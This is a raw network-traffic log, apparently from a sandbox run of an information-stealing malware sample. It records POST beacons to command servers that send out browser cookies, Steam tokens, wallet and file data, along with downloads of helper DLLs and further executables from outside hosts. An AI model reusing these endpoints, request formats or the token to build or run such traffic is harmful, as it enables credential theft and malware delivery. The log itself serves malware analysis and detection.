Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEHIJJKEGHJJKECBKECFHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 48 49 4a 4a 4b 45 47 48 4a 4a 4b 45 43 42 4b 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 30 44 37 33 39 44 44 42 45 32 45 33 34 34 31 30 34 31 38 31 34 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 49 4a 4a 4b 45 47 48 4a 4a 4b 45 43 42 4b 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 49 4a 4a 4b 45 47 48 4a 4a 4b 45 43 42 4b 45 43 46 2d 2d 0d 0a Data Ascii: ------JEHIJJKEGHJJKECBKECFContent-Disposition: form-data; name="hwid"70D739DDBE2E3441041814------JEHIJJKEGHJJKECBKECFContent-Disposition: form-data; name="build"mars------JEHIJJKEGHJJKECBKECF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAAFBAKECAEGCBFIEGDGHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 41 46 42 41 4b 45 43 41 45 47 43 42 46 49 45 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 33 64 61 39 34 33 62 62 39 64 65 61 62 30 30 34 35 66 34 65 36 39 30 39 64 66 64 64 33 62 37 63 61 62 34 33 35 36 34 61 66 64 64 35 30 62 61 64 31 32 63 63 36 32 63 34 30 30 39 62 36 66 32 61 31 30 64 35 36 66 32 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 46 42 41 4b 45 43 41 45 47 43 42 46 49 45 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 46 42 41 4b 45 43 41 45 47 43 42 46 49 45 47 44 47 2d 2d 0d 0a Data Ascii: ------DAAFBAKECAEGCBFIEGDGContent-Disposition: form-data; name="token"93da943bb9deab0045f4e6909dfdd3b7cab43564afdd50bad12cc62c4009b6f2a10d56f2------DAAFBAKECAEGCBFIEGDGContent-Disposition: form-data; name="message"browsers------DAAFBAKECAEGCBFIEGDG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIECFHDBAAECAAKFHDHIHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 45 43 46 48 44 42 41 41 45 43 41 41 4b 46 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 33 64 61 39 34 33 62 62 39 64 65 61 62 30 30 34 35 66 34 65 36 39 30 39 64 66 64 64 33 62 37 63 61 62 34 33 35 36 34 61 66 64 64 35 30 62 61 64 31 32 63 63 36 32 63 34 30 30 39 62 36 66 32 61 31 30 64 35 36 66 32 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 43 46 48 44 42 41 41 45 43 41 41 4b 46 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 43 46 48 44 42 41 41 45 43 41 41 4b 46 48 44 48 49 2d 2d 0d 0a Data Ascii: ------IIECFHDBAAECAAKFHDHIContent-Disposition: form-data; name="token"93da943bb9deab0045f4e6909dfdd3b7cab43564afdd50bad12cc62c4009b6f2a10d56f2------IIECFHDBAAECAAKFHDHIContent-Disposition: form-data; name="message"plugins------IIECFHDBAAECAAKFHDHI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIEHJDHCBAEHJJJKKFIDHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 45 48 4a 44 48 43 42 41 45 48 4a 4a 4a 4b 4b 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 33 64 61 39 34 33 62 62 39 64 65 61 62 30 30 34 35 66 34 65 36 39 30 39 64 66 64 64 33 62 37 63 61 62 34 33 35 36 34 61 66 64 64 35 30 62 61 64 31 32 63 63 36 32 63 34 30 30 39 62 36 66 32 61 31 30 64 35 36 66 32 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 48 4a 44 48 43 42 41 45 48 4a 4a 4a 4b 4b 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 48 4a 44 48 43 42 41 45 48 4a 4a 4a 4b 4b 46 49 44 2d 2d 0d 0a Data Ascii: ------GIEHJDHCBAEHJJJKKFIDContent-Disposition: form-data; name="token"93da943bb9deab0045f4e6909dfdd3b7cab43564afdd50bad12cc62c4009b6f2a10d56f2------GIEHJDHCBAEHJJJKKFIDContent-Disposition: form-data; name="message"fplugins------GIEHJDHCBAEHJJJKKFID--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAEHIDAKECFIEBGDHJEBHost: 185.215.113.206Content-Length: 7963Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIEBFHCAKFBGDHIDHIDBHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 45 42 46 48 43 41 4b 46 42 47 44 48 49 44 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 33 64 61 39 34 33 62 62 39 64 65 61 62 30 30 34 35 66 34 65 36 39 30 39 64 66 64 64 33 62 37 63 61 62 34 33 35 36 34 61 66 64 64 35 30 62 61 64 31 32 63 63 36 32 63 34 30 30 39 62 36 66 32 61 31 30 64 35 36 66 32 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 42 46 48 43 41 4b 46 42 47 44 48 49 44 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 42 46 48 43 41 4b 46 42 47 44 48 49 44 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 42 46 48 43 41 4b 46 42 47 44 48 49 44 48 49 44 42 2d 2d 0d 0a Data Ascii: ------GIEBFHCAKFBGDHIDHIDBContent-Disposition: form-data; name="token"93da943bb9deab0045f4e6909dfdd3b7cab43564afdd50bad12cc62c4009b6f2a10d56f2------GIEBFHCAKFBGDHIDHIDBContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------GIEBFHCAKFBGDHIDHIDBContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------GIEBFHCAKFBGDHIDHIDB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECBAEBGHDAECBGDGCAKEHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 42 41 45 42 47 48 44 41 45 43 42 47 44 47 43 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 33 64 61 39 34 33 62 62 39 64 65 61 62 30 30 34 35 66 34 65 36 39 30 39 64 66 64 64 33 62 37 63 61 62 34 33 35 36 34 61 66 64 64 35 30 62 61 64 31 32 63 63 36 32 63 34 30 30 39 62 36 66 32 61 31 30 64 35 36 66 32 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 41 45 42 47 48 44 41 45 43 42 47 44 47 43 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 41 45 42 47 48 44 41 45 43 42 47 44 47 43 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 41 45 42 47 48 44 41 45 43 42 47 44 47 43 41 4b 45 2d 2d 0d 0a Data Ascii: ------ECBAEBGHDAECBGDGCAKEContent-Disposition: form-data; name="token"93da943bb9deab0045f4e6909dfdd3b7cab43564afdd50bad12cc62c4009b6f2a10d56f2------ECBAEBGHDAECBGDGCAKEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------ECBAEBGHDAECBGDGCAKEContent-Disposition: form-data; name="file"------ECBAEBGHDAECBGDGCAKE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKECBFBAEBKJJJJKFCGCHost: 185.215.113.206Content-Length: 3087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJKKKJJJKJKFHJJJJECBHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 33 64 61 39 34 33 62 62 39 64 65 61 62 30 30 34 35 66 34 65 36 39 30 39 64 66 64 64 33 62 37 63 61 62 34 33 35 36 34 61 66 64 64 35 30 62 61 64 31 32 63 63 36 32 63 34 30 30 39 62 36 66 32 61 31 30 64 35 36 66 32 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 2d 2d 0d 0a Data Ascii: ------KJKKKJJJKJKFHJJJJECBContent-Disposition: form-data; name="token"93da943bb9deab0045f4e6909dfdd3b7cab43564afdd50bad12cc62c4009b6f2a10d56f2------KJKKKJJJKJKFHJJJJECBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KJKKKJJJKJKFHJJJJECBContent-Disposition: form-data; name="file"------KJKKKJJJKJKFHJJJJECB--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAFIEHIEGDHIDGDGHDHJHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDBGHIDGDGHCBGDGCBFIHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 42 47 48 49 44 47 44 47 48 43 42 47 44 47 43 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 33 64 61 39 34 33 62 62 39 64 65 61 62 30 30 34 35 66 34 65 36 39 30 39 64 66 64 64 33 62 37 63 61 62 34 33 35 36 34 61 66 64 64 35 30 62 61 64 31 32 63 63 36 32 63 34 30 30 39 62 36 66 32 61 31 30 64 35 36 66 32 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 48 49 44 47 44 47 48 43 42 47 44 47 43 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 48 49 44 47 44 47 48 43 42 47 44 47 43 42 46 49 2d 2d 0d 0a Data Ascii: ------HDBGHIDGDGHCBGDGCBFIContent-Disposition: form-data; name="token"93da943bb9deab0045f4e6909dfdd3b7cab43564afdd50bad12cc62c4009b6f2a10d56f2------HDBGHIDGDGHCBGDGCBFIContent-Disposition: form-data; name="message"wallets------HDBGHIDGDGHCBGDGCBFI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGCFCBAKKFBFIECAEBAEHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 43 46 43 42 41 4b 4b 46 42 46 49 45 43 41 45 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 33 64 61 39 34 33 62 62 39 64 65 61 62 30 30 34 35 66 34 65 36 39 30 39 64 66 64 64 33 62 37 63 61 62 34 33 35 36 34 61 66 64 64 35 30 62 61 64 31 32 63 63 36 32 63 34 30 30 39 62 36 66 32 61 31 30 64 35 36 66 32 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 43 42 41 4b 4b 46 42 46 49 45 43 41 45 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 43 42 41 4b 4b 46 42 46 49 45 43 41 45 42 41 45 2d 2d 0d 0a Data Ascii: ------CGCFCBAKKFBFIECAEBAEContent-Disposition: form-data; name="token"93da943bb9deab0045f4e6909dfdd3b7cab43564afdd50bad12cc62c4009b6f2a10d56f2------CGCFCBAKKFBFIECAEBAEContent-Disposition: form-data; name="message"files------CGCFCBAKKFBFIECAEBAE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDHIEBFHCAKEHIDGHCBAHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 48 49 45 42 46 48 43 41 4b 45 48 49 44 47 48 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 33 64 61 39 34 33 62 62 39 64 65 61 62 30 30 34 35 66 34 65 36 39 30 39 64 66 64 64 33 62 37 63 61 62 34 33 35 36 34 61 66 64 64 35 30 62 61 64 31 32 63 63 36 32 63 34 30 30 39 62 36 66 32 61 31 30 64 35 36 66 32 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 48 49 45 42 46 48 43 41 4b 45 48 49 44 47 48 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 48 49 45 42 46 48 43 41 4b 45 48 49 44 47 48 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 48 49 45 42 46 48 43 41 4b 45 48 49 44 47 48 43 42 41 2d 2d 0d 0a Data Ascii: ------JDHIEBFHCAKEHIDGHCBAContent-Disposition: form-data; name="token"93da943bb9deab0045f4e6909dfdd3b7cab43564afdd50bad12cc62c4009b6f2a10d56f2------JDHIEBFHCAKEHIDGHCBAContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------JDHIEBFHCAKEHIDGHCBAContent-Disposition: form-data; name="file"------JDHIEBFHCAKEHIDGHCBA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEHJKJEBGHJJKEBGIECAHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 33 64 61 39 34 33 62 62 39 64 65 61 62 30 30 34 35 66 34 65 36 39 30 39 64 66 64 64 33 62 37 63 61 62 34 33 35 36 34 61 66 64 64 35 30 62 61 64 31 32 63 63 36 32 63 34 30 30 39 62 36 66 32 61 31 30 64 35 36 66 32 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 43 41 2d 2d 0d 0a Data Ascii: ------JEHJKJEBGHJJKEBGIECAContent-Disposition: form-data; name="token"93da943bb9deab0045f4e6909dfdd3b7cab43564afdd50bad12cc62c4009b6f2a10d56f2------JEHJKJEBGHJJKEBGIECAContent-Disposition: form-data; name="message"ybncbhylepme------JEHJKJEBGHJJKEBGIECA--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBFHJEGDAFHIJKECFBKJHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 46 48 4a 45 47 44 41 46 48 49 4a 4b 45 43 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 33 64 61 39 34 33 62 62 39 64 65 61 62 30 30 34 35 66 34 65 36 39 30 39 64 66 64 64 33 62 37 63 61 62 34 33 35 36 34 61 66 64 64 35 30 62 61 64 31 32 63 63 36 32 63 34 30 30 39 62 36 66 32 61 31 30 64 35 36 66 32 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 48 4a 45 47 44 41 46 48 49 4a 4b 45 43 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 48 4a 45 47 44 41 46 48 49 4a 4b 45 43 46 42 4b 4a 2d 2d 0d 0a Data Ascii: ------EBFHJEGDAFHIJKECFBKJContent-Disposition: form-data; name="token"93da943bb9deab0045f4e6909dfdd3b7cab43564afdd50bad12cc62c4009b6f2a10d56f2------EBFHJEGDAFHIJKECFBKJContent-Disposition: form-data; name="message"wkkjqaiaxkhb------EBFHJEGDAFHIJKECFBKJ--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 32 39 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008294001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1Host: home.fvtekk5pn.topAccept: /
Source: global traffic	HTTP traffic detected: GET /files/lll.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 33 30 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008303001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 33 30 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008304001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 33 30 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008305001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
